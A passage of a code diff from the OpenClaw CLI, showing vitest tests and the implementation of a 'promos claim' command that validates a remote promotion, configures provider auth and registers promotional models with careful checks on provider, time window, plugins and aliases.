||||
modelKeys: ["openrouter/example/model-alpha"],
|
||||
}),
|
||||
);
|
||||
expect(mocks.markPromotionSlugsNotified).toHaveBeenCalledWith(["spring-models"]);
|
||||
});
|
||||
|
||||
it("sets the suggested model as default with --set-default", async () => {
|
||||
const runtime = makeRuntime();
|
||||
await promosClaimCommand("spring-models", { setDefault: true }, runtime);
|
||||
|
||||
const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig;
|
||||
expect(next.agents.defaults.model.primary).toBe("openrouter/example/model-alpha");
|
||||
// Default changes must run the same runtime plugin repair as `models set`.
|
||||
expect(mocks.repairCodex).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ model: "openrouter/example/model-alpha" }),
|
||||
);
|
||||
expect(mocks.repairCopilot).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("skips aliases outside the models-aliases contract but still registers the model", async () => {
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({
|
||||
models: [{ modelRef: "openrouter/example/model-alpha", alias: "bad alias [31m" }],
|
||||
}),
|
||||
);
|
||||
const runtime = makeRuntime();
|
||||
await promosClaimCommand("spring-models", {}, runtime);
|
||||
|
||||
const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig;
|
||||
expect(next.agents.defaults.models["openrouter/example/model-alpha"]).toEqual({});
|
||||
});
|
||||
|
||||
it("keeps an existing alias owner and reports the skip", async () => {
|
||||
const existing = {
|
||||
agents: {
|
||||
defaults: {
|
||||
models: { "openrouter/other/model": { alias: "model-alpha" } },
|
||||
},
|
||||
},
|
||||
};
|
||||
mocks.readConfigFileSnapshot.mockResolvedValue(makeSnapshot(existing));
|
||||
const runtime = makeRuntime();
|
||||
await promosClaimCommand("spring-models", {}, runtime);
|
||||
|
||||
const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig;
|
||||
expect(next.agents.defaults.models["openrouter/example/model-alpha"].alias).toBeUndefined();
|
||||
expect(next.agents.defaults.models["openrouter/other/model"].alias).toBe("model-alpha");
|
||||
});
|
||||
|
||||
it("runs the provider auth choice when no credentials exist", async () => {
|
||||
// An explicit --api-key skips the reuse pre-check entirely; the only
|
||||
// hasAvailableAuthForProvider call is the post-apply revalidation.
|
||||
mocks.hasAvailableAuthForProvider.mockResolvedValue(true);
|
||||
mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({
|
||||
config: { plugins: { entries: { openrouter: { enabled: true } } } },
|
||||
});
|
||||
const runtime = makeRuntime();
|
||||
await promosClaimCommand("spring-models", { apiKey: "sk-test" }, runtime);
|
||||
|
||||
expect(mocks.applyAuthChoiceLoadedPluginProvider).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
authChoice: "openrouter-api-key",
|
||||
setDefaultModel: false,
|
||||
opts: { openrouterApiKey: "sk-test" },
|
||||
}),
|
||||
);
|
||||
// Auth config write plus the model registration write.
|
||||
expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("runs the auth flow for an explicit --api-key even when other auth exists", async () => {
|
||||
// hasAvailableAuthForProvider stays true; the explicit key must not be ignored.
|
||||
mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} });
|
||||
const runtime = makeRuntime();
|
||||
await promosClaimCommand("spring-models", { apiKey: "sk-explicit" }, runtime);
|
||||
|
||||
expect(mocks.applyAuthChoiceLoadedPluginProvider).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ opts: { openrouterApiKey: "sk-explicit" } }),
|
||||
);
|
||||
});
|
||||
|
||||
it("aborts when the auth flow asks for retry instead of completing", async () => {
|
||||
mocks.hasAvailableAuthForProvider.mockResolvedValue(false);
|
||||
mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({
|
||||
config: {},
|
||||
retrySelection: true,
|
||||
});
|
||||
|
||||
await expect(
|
||||
promosClaimCommand("spring-models", { apiKey: "sk-test" }, makeRuntime()),
|
||||
).rejects.toThrow(/not completed/);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("aborts when auth is still unavailable after the flow returns", async () => {
|
||||
// Both the pre-check and the post-apply revalidation report no usable auth
|
||||
// (e.g. the provider plugin was disabled and the flow returned unchanged).
|
||||
mocks.hasAvailableAuthForProvider.mockResolvedValue(false);
|
||||
mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} });
|
||||
|
||||
await expect(
|
||||
promosClaimCommand("spring-models", { apiKey: "sk-test" }, makeRuntime()),
|
||||
).rejects.toThrow(/not completed/);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("fails when the promotion's auth choice is unknown locally", async () => {
|
||||
mocks.resolveManifestProviderAuthChoice.mockReturnValue(undefined);
|
||||
mocks.resolveProviderInstallCatalogEntry.mockReturnValue(undefined);
|
||||
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(
|
||||
/Update OpenClaw/,
|
||||
);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("fails when the auth choice belongs to a different provider", async () => {
|
||||
mocks.resolveManifestProviderAuthChoice.mockReturnValue({
|
||||
...authChoice,
|
||||
providerId: "another-provider",
|
||||
});
|
||||
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(
|
||||
/refusing to configure/,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts a declared plugin package owned by the resolved auth choice", async () => {
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ pluginNames: ["@openclaw/openrouter-provider"] }),
|
||||
);
|
||||
|
||||
await promosClaimCommand("spring-models", {}, makeRuntime());
|
||||
|
||||
expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("refuses a declared plugin package not owned by the resolved auth choice", async () => {
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ pluginNames: ["@openclaw/other-provider"] }),
|
||||
);
|
||||
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(
|
||||
/requires plugin package/,
|
||||
);
|
||||
expect(mocks.hasAvailableAuthForProvider).not.toHaveBeenCalled();
|
||||
expect(mocks.enablePluginInConfig).not.toHaveBeenCalled();
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("refuses models outside the promotion's provider", async () => {
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ models: [{ modelRef: "sneaky-provider/model" }] }),
|
||||
);
|
||||
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(
|
||||
/outside its provider/,
|
||||
);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reports ended promotions with their end date", async () => {
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ active: false, endsAt: now - 86_400_000 }),
|
||||
);
|
||||
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(/ended/);
|
||||
});
|
||||
|
||||
it("enforces the window even when the payload claims active", async () => {
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ active: true, endsAt: now - 60_000 }),
|
||||
);
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(/ended/);
|
||||
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ active: true, startsAt: now + 60_000, endsAt: now + 86_400_000 }),
|
||||
);
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(
|
||||
/not live/,
|
||||
);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rechecks the window after authentication before updating model config", async () => {
|
||||
vi.useFakeTimers();
|
||||
vi.setSystemTime(now);
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ active: true, endsAt: now + 60_000 }),
|
||||
);
|
||||
mocks.hasAvailableAuthForProvider.mockImplementation(async () => {
|
||||
vi.setSystemTime(now + 120_000);
|
||||
return true;
|
||||
});
|
||||
|
||||
try {
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(/ended/);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
|
||||
it("refuses a promotion withdrawn after provider authentication", async () => {
|
||||
const initial = makePromotion();
|
||||
mocks.fetchClawHubPromotion
|
||||
.mockResolvedValueOnce(initial)
|
||||
.mockResolvedValueOnce({ ...initial, active: false });
|
||||
mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} });
|
||||
|
||||
await expect(
|
||||
promosClaimCommand("spring-models", { apiKey: "sk-test" }, makeRuntime()),
|
||||
).rejects.toThrow(/not live/);
|
||||
|
||||
expect(mocks.fetchClawHubPromotion).toHaveBeenCalledTimes(2);
|
||||
// Provider auth completed before the withdrawal was observed, but no
|
||||
// promotion model/default/provenance mutation may follow it.
|
||||
expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(1);
|
||||
expect(mocks.recordPromotionClaim).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("refuses actionable promotion changes after authentication", async () => {
|
||||
const initial = makePromotion();
|
||||
mocks.fetchClawHubPromotion.mockResolvedValueOnce(initial).mockResolvedValueOnce(
|
||||
makePromotion({
|
||||
models: [{ modelRef: "openrouter/example/model-beta", suggestedDefault: true }],
|
||||
}),
|
||||
);
|
||||
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(
|
||||
/changed while the claim was in progress/,
|
||||
);
|
||||
|
||||
expect(mocks.fetchClawHubPromotion).toHaveBeenCalledTimes(2);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
expect(mocks.recordPromotionClaim).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("runs the install path when the auth choice is not installed, even with existing auth", async () => {
|
||||
// Existing env credentials must not shortcut past a required plugin install.
|
||||
mocks.resolveManifestProviderAuthChoice.mockReturnValue(undefined);
|
||||
mocks.resolveProviderInstallCatalogEntry.mockReturnValue({
|
||||
...authChoice,
|
||||
installSource: {
|
||||
npm: { packageName: "@openclaw/openrouter-provider" },
|
||||
},
|
||||
});
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(
|
||||
makePromotion({ pluginNames: ["@openclaw/openrouter-provider"] }),
|
||||
);
|
||||
mocks.hasAvailableAuthForProvider.mockResolvedValue(true);
|
||||
mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} });
|
||||
|
||||
await promosClaimCommand("spring-models", {}, makeRuntime());
|
||||
|
||||
expect(mocks.applyAuthChoiceLoadedPluginProvider).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ authChoice: "openrouter-api-key" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("refuses to claim when the provider plugin is blocked by policy", async () => {
|
||||
mocks.enablePluginInConfig.mockImplementation((cfg: unknown, pluginId: string) => ({
|
||||
config: cfg,
|
||||
enabled: false,
|
||||
pluginId,
|
||||
reason: "denylisted",
|
||||
}));
|
||||
|
||||
await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(
|
||||
/plugin policy/,
|
||||
);
|
||||
expect(mocks.replaceConfigFile).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("maps 404 responses to a friendly not-found error", async () => {
|
||||
const requestError = new ClawHubRequestError({
|
||||
path: "/api/v1/promotions/nope",
|
||||
status: 404,
|
||||
body: "not found",
|
||||
});
|
||||
mocks.fetchClawHubPromotion.mockRejectedValue(requestError);
|
||||
|
||||
await expect(promosClaimCommand("nope", {}, makeRuntime())).rejects.toMatchObject({
|
||||
message: expect.stringMatching(/not found or is not live/),
|
||||
cause: requestError,
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,441 @@
|
||||
/** Claims a ClawHub promotion: configures provider auth and registers its models. */
|
||||
import { sanitizeTerminalText } from "../../../packages/terminal-core/src/safe-text.js";
|
||||
import { hasAvailableAuthForProvider } from "../../agents/model-auth.js";
|
||||
import { formatCliCommand } from "../../cli/command-format.js";
|
||||
import { promptYesNo } from "../../cli/prompt.js";
|
||||
import { readConfigFileSnapshot, replaceConfigFile } from "../../config/config.js";
|
||||
import { formatConfigIssueLines } from "../../config/issue-format.js";
|
||||
import type { AgentModelEntryConfig } from "../../config/types.agent-defaults.js";
|
||||
import type { OpenClawConfig } from "../../config/types.openclaw.js";
|
||||
import {
|
||||
ClawHubRequestError,
|
||||
fetchClawHubPromotion,
|
||||
type ClawHubPromotion,
|
||||
} from "../../infra/clawhub.js";
|
||||
import { markPromotionSlugsNotified, recordPromotionClaim } from "../../infra/promotions-feed.js";
|
||||
import { enablePluginInConfig } from "../../plugins/enable.js";
|
||||
import { loadManifestMetadataSnapshot } from "../../plugins/manifest-contract-eligibility.js";
|
||||
import { applyAuthChoiceLoadedPluginProvider } from "../../plugins/provider-auth-choice.js";
|
||||
import {
|
||||
resolveManifestProviderAuthChoice,
|
||||
type ProviderAuthChoiceMetadata,
|
||||
} from "../../plugins/provider-auth-choices.js";
|
||||
import {
|
||||
resolveProviderInstallCatalogEntry,
|
||||
type ProviderInstallCatalogEntry,
|
||||
} from "../../plugins/provider-install-catalog.js";
|
||||
import type { RuntimeEnv } from "../../runtime.js";
|
||||
import { createClackPrompter } from "../../wizard/clack-prompter.js";
|
||||
import { repairCodexRuntimePluginInstallForModelSelection } from "../codex-runtime-plugin-install.js";
|
||||
import { repairCopilotRuntimePluginInstallForModelSelection } from "../copilot-runtime-plugin-install.js";
|
||||
import { normalizeAlias } from "../models/alias-name.js";
|
||||
import {
|
||||
applyDefaultModelPrimaryUpdate,
|
||||
updateConfig,
|
||||
upsertCanonicalModelConfigEntry,
|
||||
} from "../models/shared.js";
|
||||
|
||||
export type PromosClaimOptions = {
|
||||
apiKey?: string;
|
||||
setDefault?: boolean;
|
||||
};
|
||||
|
||||
// Promo models must belong to the promotion's declared provider. This keeps the
|
||||
// payload declarative: a record can never register models under a provider the
|
||||
// user did not just validate/authenticate against.
|
||||
function resolvePromotionModelTarget(promotion: ClawHubPromotion, modelRef: string) {
|
||||
const provider = promotion.provider ?? "";
|
||||
const prefix = `${provider}/`;
|
||||
if (!modelRef.startsWith(prefix) || modelRef.length <= prefix.length) {
|
||||
throw new Error(
|
||||
`Promotion "${promotion.slug}" lists model "${modelRef}" outside its provider "${provider}"; refusing to configure it.`,
|
||||
);
|
||||
}
|
||||
return { provider, model: modelRef.slice(prefix.length) };
|
||||
}
|
||||
|
||||
async function fetchLivePromotion(slug: string): Promise<ClawHubPromotion> {
|
||||
try {
|
||||
return await fetchClawHubPromotion({ slug });
|
||||
} catch (error) {
|
||||
if (error instanceof ClawHubRequestError && error.status === 404) {
|
||||
throw new Error(
|
||||
`Promotion "${slug}" was not found or is not live. See ${formatCliCommand("openclaw promos list")}.`,
|
||||
{ cause: error },
|
||||
);
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
// Enforce the window client-side; the server-provided `active` flag is only an
|
||||
// additional signal, never a bypass — a stale or hostile payload must not
|
||||
// register expired or unlaunched offers.
|
||||
function requireLiveWindow(promotion: ClawHubPromotion) {
|
||||
const now = Date.now();
|
||||
if (now > promotion.endsAt) {
|
||||
throw new Error(
|
||||
`Promotion "${promotion.slug}" ended on ${new Date(promotion.endsAt).toLocaleDateString()}.`,
|
||||
);
|
||||
}
|
||||
if (now < promotion.startsAt || !promotion.active) {
|
||||
throw new Error(`Promotion "${promotion.slug}" is not live yet.`);
|
||||
}
|
||||
}
|
||||
|
||||
function promotionClaimContract(promotion: ClawHubPromotion): string {
|
||||
return JSON.stringify({
|
||||
slug: promotion.slug,
|
||||
startsAt: promotion.startsAt,
|
||||
endsAt: promotion.endsAt,
|
||||
provider: promotion.provider ?? null,
|
||||
authChoiceId: promotion.authChoiceId ?? null,
|
||||
pluginNames: [...(promotion.pluginNames ?? [])].toSorted(),
|
||||
models: promotion.models.map((model) => ({
|
||||
modelRef: model.modelRef,
|
||||
alias: model.alias ?? null,
|
||||
suggestedDefault: Boolean(model.suggestedDefault),
|
||||
})),
|
||||
});
|
||||
}
|
||||
|
||||
function requireUnchangedClaimContract(
|
||||
initial: ClawHubPromotion,
|
||||
revalidated: ClawHubPromotion,
|
||||
): void {
|
||||
if (promotionClaimContract(initial) === promotionClaimContract(revalidated)) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
`Promotion "${initial.slug}" changed while the claim was in progress; no promotional models were added. Any provider credentials you just configured were kept. Run ${formatCliCommand("openclaw promos list")} and retry.`,
|
||||
);
|
||||
}
|
||||
|
||||
// Mirrors applyAuthChoiceLoadedPluginProvider's own resolution order: loaded
|
||||
// plugin manifests (bundled/installed providers) first, then the install
|
||||
// catalog for providers that would need a plugin install. The source matters:
|
||||
// only manifest-resolved choices may take the credential-reuse shortcut,
|
||||
// because install-catalog choices still need their plugin installed.
|
||||
type ResolvedAuthChoice = {
|
||||
entry: ProviderAuthChoiceMetadata;
|
||||
installed: boolean;
|
||||
packageNames: string[];
|
||||
};
|
||||
|
||||
function resolveManifestPluginPackageNames(pluginId: string, cfg: OpenClawConfig): string[] {
|
||||
const snapshot = loadManifestMetadataSnapshot({ config: cfg });
|
||||
return [
|
||||
...new Set(
|
||||
snapshot.manifestRegistry.plugins
|
||||
.filter((plugin) => plugin.id === pluginId)
|
||||
.map((plugin) => plugin.packageName?.trim())
|
||||
.filter((name): name is string => Boolean(name)),
|
||||
),
|
||||
];
|
||||
}
|
||||
|
||||
function resolveCatalogPluginPackageNames(entry: ProviderInstallCatalogEntry): string[] {
|
||||
const npmPackage =
|
||||
entry.installSource?.npm?.expectedPackageName ?? entry.installSource?.npm?.packageName;
|
||||
return [
|
||||
...new Set(
|
||||
[npmPackage, entry.installSource?.clawhub?.packageName].filter((name): name is string =>
|
||||
Boolean(name),
|
||||
),
|
||||
),
|
||||
];
|
||||
}
|
||||
|
||||
function resolveAuthChoice(
|
||||
promotion: ClawHubPromotion,
|
||||
provider: string,
|
||||
cfg: OpenClawConfig,
|
||||
): ResolvedAuthChoice | undefined {
|
||||
const authChoiceId = promotion.authChoiceId?.trim();
|
||||
if (!authChoiceId) {
|
||||
return undefined;
|
||||
}
|
||||
const manifestEntry = resolveManifestProviderAuthChoice(authChoiceId, {
|
||||
config: cfg,
|
||||
includeUntrustedWorkspacePlugins: false,
|
||||
});
|
||||
const catalogEntry = manifestEntry
|
||||
? undefined
|
||||
: resolveProviderInstallCatalogEntry(authChoiceId, {
|
||||
config: cfg,
|
||||
includeUntrustedWorkspacePlugins: false,
|
||||
});
|
||||
const entry = manifestEntry ?? catalogEntry;
|
||||
if (!entry) {
|
||||
throw new Error(
|
||||
`Promotion "${promotion.slug}" requires auth choice "${authChoiceId}", which this OpenClaw version does not know. Update OpenClaw and retry.`,
|
||||
);
|
||||
}
|
||||
if (entry.providerId !== provider) {
|
||||
throw new Error(
|
||||
`Promotion "${promotion.slug}" declares provider "${provider}" but its auth choice belongs to "${entry.providerId}"; refusing to configure it.`,
|
||||
);
|
||||
}
|
||||
const packageNames = manifestEntry
|
||||
? resolveManifestPluginPackageNames(manifestEntry.pluginId, cfg)
|
||||
: catalogEntry
|
||||
? resolveCatalogPluginPackageNames(catalogEntry)
|
||||
: [];
|
||||
return {
|
||||
entry,
|
||||
installed: Boolean(manifestEntry),
|
||||
packageNames,
|
||||
};
|
||||
}
|
||||
|
||||
function requirePromotionPlugins(
|
||||
promotion: ClawHubPromotion,
|
||||
authChoice: ResolvedAuthChoice | undefined,
|
||||
): void {
|
||||
const declared = promotion.pluginNames ?? [];
|
||||
if (declared.length === 0) {
|
||||
return;
|
||||
}
|
||||
const knownPackages = new Set(authChoice?.packageNames ?? []);
|
||||
const unsupported = declared.filter((name) => !knownPackages.has(name));
|
||||
if (unsupported.length === 0) {
|
||||
return;
|
||||
}
|
||||
const authChoiceLabel = authChoice
|
||||
? `auth choice "${authChoice.entry.choiceId}"`
|
||||
: "a missing auth choice";
|
||||
throw new Error(
|
||||
`Promotion "${promotion.slug}" requires plugin package "${unsupported[0]}", but ${authChoiceLabel} does not provide it in this OpenClaw version. Update OpenClaw and retry.`,
|
||||
);
|
||||
}
|
||||
|
||||
type ConfigSnapshot = Awaited<ReturnType<typeof readConfigFileSnapshot>>;
|
||||
|
||||
async function readValidConfigSnapshot(): Promise<ConfigSnapshot> {
|
||||
const snapshot = await readConfigFileSnapshot();
|
||||
if (!snapshot.valid) {
|
||||
const issues = formatConfigIssueLines(snapshot.issues, "-").join("\n");
|
||||
throw new Error(`Invalid config at ${snapshot.path}\n${issues}`);
|
||||
}
|
||||
return snapshot;
|
||||
}
|
||||
|
||||
async function ensureProviderAuth(params: {
|
||||
promotion: ClawHubPromotion;
|
||||
provider: string;
|
||||
authChoice: ResolvedAuthChoice | undefined;
|
||||
snapshot: ConfigSnapshot;
|
||||
opts: PromosClaimOptions;
|
||||
runtime: RuntimeEnv;
|
||||
}): Promise<void> {
|
||||
const { promotion, provider, authChoice, snapshot, opts, runtime } = params;
|
||||
const catalogEntry = authChoice?.entry;
|
||||
const runtimeConfig = snapshot.runtimeConfig ?? snapshot.config;
|
||||
const apiKey = opts.apiKey?.trim();
|
||||
// Any working provider auth is deliberately sufficient: the promotion's
|
||||
// authChoiceId describes how to set up auth when none exists, not an
|
||||
// exclusivity requirement. An explicit --api-key overrides reuse because the
|
||||
// user asked for that specific key to be stored. Install-catalog choices
|
||||
// never take the shortcut: their plugin is not installed yet, so the apply
|
||||
// flow must still run to install it.
|
||||
const reuseAllowed = !apiKey && (authChoice?.installed ?? true);
|
||||
if (reuseAllowed && (await hasAvailableAuthForProvider({ provider, cfg: runtimeConfig }))) {
|
||||
runtime.log(`Using your existing ${provider} credentials.`);
|
||||
return;
|
||||
}
|
||||
if (!catalogEntry) {
|
||||
throw new Error(
|
||||
`No credentials configured for provider "${provider}". Add one with ${formatCliCommand("openclaw models auth add")} and retry.`,
|
||||
);
|
||||
}
|
||||
if (promotion.signupUrl) {
|
||||
runtime.log(`Get a free key for this promotion: ${sanitizeTerminalText(promotion.signupUrl)}`);
|
||||
}
|
||||
if (apiKey && !catalogEntry.optionKey) {
|
||||
throw new Error(
|
||||
`Auth choice "${catalogEntry.choiceId}" does not accept --api-key; run without it to authenticate interactively.`,
|
||||
);
|
||||
}
|
||||
const applied = await applyAuthChoiceLoadedPluginProvider({
|
||||
authChoice: catalogEntry.choiceId,
|
||||
config: structuredClone(snapshot.sourceConfig ?? snapshot.config) as OpenClawConfig,
|
||||
prompter: createClackPrompter(),
|
||||
runtime,
|
||||
setDefaultModel: false,
|
||||
opts: apiKey && catalogEntry.optionKey ? { [catalogEntry.optionKey]: apiKey } : undefined,
|
||||
});
|
||||
// The apply flow can return success-shaped results without usable auth
|
||||
// (cancelled retrySelection, disabled/unresolvable plugin). Revalidate
|
||||
// before persisting so a claim never registers models the user cannot run.
|
||||
const authCompleted =
|
||||
applied &&
|
||||
!applied.retrySelection &&
|
||||
(await hasAvailableAuthForProvider({ provider, cfg: applied.config }));
|
||||
if (!applied || !authCompleted) {
|
||||
throw new Error(`Authentication for "${provider}" was not completed; nothing was changed.`);
|
||||
}
|
||||
await replaceConfigFile({ nextConfig: applied.config, baseHash: snapshot.hash });
|
||||
}
|
||||
|
||||
function aliasTaken(models: Record<string, AgentModelEntryConfig>, alias: string): boolean {
|
||||
const lowered = alias.toLowerCase();
|
||||
return Object.values(models).some((entry) => entry.alias?.toLowerCase() === lowered);
|
||||
}
|
||||
|
||||
export async function promosClaimCommand(
|
||||
slugRaw: string,
|
||||
opts: PromosClaimOptions,
|
||||
runtime: RuntimeEnv,
|
||||
) {
|
||||
const slug = slugRaw.trim().toLowerCase();
|
||||
if (!slug) {
|
||||
throw new Error("Promotion slug required.");
|
||||
}
|
||||
let promotion = await fetchLivePromotion(slug);
|
||||
requireLiveWindow(promotion);
|
||||
|
||||
const provider = promotion.provider?.trim();
|
||||
if (!provider) {
|
||||
throw new Error(
|
||||
`Promotion "${slug}" does not declare a provider; it cannot be claimed from the CLI.`,
|
||||
);
|
||||
}
|
||||
// Validate the declarative payload against the local catalog before any action.
|
||||
for (const model of promotion.models) {
|
||||
resolvePromotionModelTarget(promotion, model.modelRef);
|
||||
}
|
||||
const snapshot = await readValidConfigSnapshot();
|
||||
const authChoice = resolveAuthChoice(
|
||||
promotion,
|
||||
provider,
|
||||
snapshot.runtimeConfig ?? snapshot.config,
|
||||
);
|
||||
requirePromotionPlugins(promotion, authChoice);
|
||||
|
||||
await ensureProviderAuth({ promotion, provider, authChoice, snapshot, opts, runtime });
|
||||
|
||||
const suggested = promotion.models.find((model) => model.suggestedDefault) ?? promotion.models[0];
|
||||
let makeDefault = Boolean(opts.setDefault && suggested);
|
||||
if (!makeDefault && suggested && process.stdin.isTTY) {
|
||||
makeDefault = await promptYesNo(`Set ${suggested.modelRef} as your default model?`, false);
|
||||
}
|
||||
|
||||
const revalidatedPromotion = await fetchLivePromotion(slug);
|
||||
requireLiveWindow(revalidatedPromotion);
|
||||
requireUnchangedClaimContract(promotion, revalidatedPromotion);
|
||||
promotion = revalidatedPromotion;
|
||||
|
||||
const registered: string[] = [];
|
||||
const skippedAliases: string[] = [];
|
||||
const invalidAliases: string[] = [];
|
||||
const updated = await updateConfig((cfg, context) => {
|
||||
let base = cfg;
|
||||
// The credential-reuse path skips the auth flow, which is where plugin
|
||||
// enablement normally happens. Enable (or refuse) the provider plugin here
|
||||
// so a claim never registers models the runtime cannot load under the
|
||||
// user's plugin policy. Idempotent when the auth flow already enabled it.
|
||||
if (authChoice) {
|
||||
const enabled = enablePluginInConfig(base, authChoice.entry.pluginId);
|
||||
if (!enabled.enabled) {
|
||||
throw new Error(
|
||||
`The "${authChoice.entry.pluginId}" plugin is blocked by your plugin policy (${enabled.reason ?? "disabled"}); cannot claim this promotion.`,
|
||||
);
|
||||
}
|
||||
base = enabled.config;
|
||||
}
|
||||
const models = {
|
||||
...base.agents?.defaults?.models,
|
||||
} as Record<string, AgentModelEntryConfig>;
|
||||
for (const model of promotion.models) {
|
||||
const target = resolvePromotionModelTarget(promotion, model.modelRef);
|
||||
const key = upsertCanonicalModelConfigEntry(models, target);
|
||||
// Aliases are remote text persisted into config and rendered by other
|
||||
// CLI surfaces; hold them to the same contract as `models aliases add`.
|
||||
let alias: string | undefined;
|
||||
try {
|
||||
alias = model.alias ? normalizeAlias(model.alias) : undefined;
|
||||
} catch {
|
||||
invalidAliases.push(model.alias ?? "");
|
||||
}
|
||||
if (alias && !models[key]?.alias) {
|
||||
if (aliasTaken(models, alias)) {
|
||||
skippedAliases.push(alias);
|
||||
} else {
|
||||
models[key] = { ...models[key], alias };
|
||||
}
|
||||
}
|
||||
registered.push(key);
|
||||
}
|
||||
let next: OpenClawConfig = {
|
||||
...base,
|
||||
agents: {
|
||||
...base.agents,
|
||||
defaults: {
|
||||
...base.agents?.defaults,
|
||||
models,
|
||||
},
|
||||
},
|
||||
};
|
||||
if (makeDefault && suggested) {
|
||||
next = applyDefaultModelPrimaryUpdate({
|
||||
cfg: next,
|
||||
resolveCfg: context.runtimeConfig,
|
||||
modelRaw: suggested.modelRef,
|
||||
field: "model",
|
||||
});
|
||||
}
|
||||
return next;
|
||||
});
|
||||
|
||||
// Config entries carry no promo marker, so provenance lives in the state
|
||||
// DB — it powers the `promo`/`promo ended` annotations in `models list`
|
||||
// and future cleanup. Best-effort by design: never fails the claim.
|
||||
recordPromotionClaim({
|
||||
slug: promotion.slug,
|
||||
provider,
|
||||
modelKeys: [...new Set(registered)],
|
||||
endsAtMs: promotion.endsAt,
|
||||
claimedAtMs: Date.now(),
|
||||
});
|
||||
markPromotionSlugsNotified([promotion.slug]);
|
||||
|
||||
if (makeDefault && suggested) {
|
||||
// `models set` repairs provider runtime plugin installs (Codex/Copilot)
|
||||
// after a default change; a promo-selected default needs the same repair
|
||||
// or an openai/* default can fail at execution time.
|
||||
const repaired = await repairCodexRuntimePluginInstallForModelSelection({
|
||||
cfg: updated,
|
||||
model: suggested.modelRef,
|
||||
});
|
||||
const copilotRepaired = await repairCopilotRuntimePluginInstallForModelSelection({
|
||||
cfg: updated,
|
||||
model: suggested.modelRef,
|
||||
});
|
||||
for (const warning of [...repaired.warnings, ...copilotRepaired.warnings]) {
|
||||
runtime.error?.(warning);
|
||||
}
|
||||
}
|
||||
|
||||
runtime.log(`Claimed "${sanitizeTerminalText(promotion.title)}".`);
|
||||
for (const key of registered) {
|
||||
runtime.log(` Added model: ${sanitizeTerminalText(key)}`);
|
||||
}
|
||||
for (const alias of skippedAliases) {
|
||||
runtime.log(
|
||||
` Alias "${sanitizeTerminalText(alias)}" is already in use; kept your existing alias.`,
|
||||
);
|
||||
}
|
||||
for (const alias of invalidAliases) {
|
||||
runtime.log(` Alias "${sanitizeTerminalText(alias)}" is not a valid model alias; skipped it.`);
|
||||
}
|
||||
if (makeDefault && suggested) {
|
||||
runtime.log(` Default model set to ${sanitizeTerminalText(suggested.modelRef)}.`);
|
||||
runtime.log(
|
||||
` Revert anytime with ${formatCliCommand("openclaw models set <previous-model>")}.`,
|
||||
);
|
||||
} else if (suggested) {
|
||||
runtime.log(
|
||||
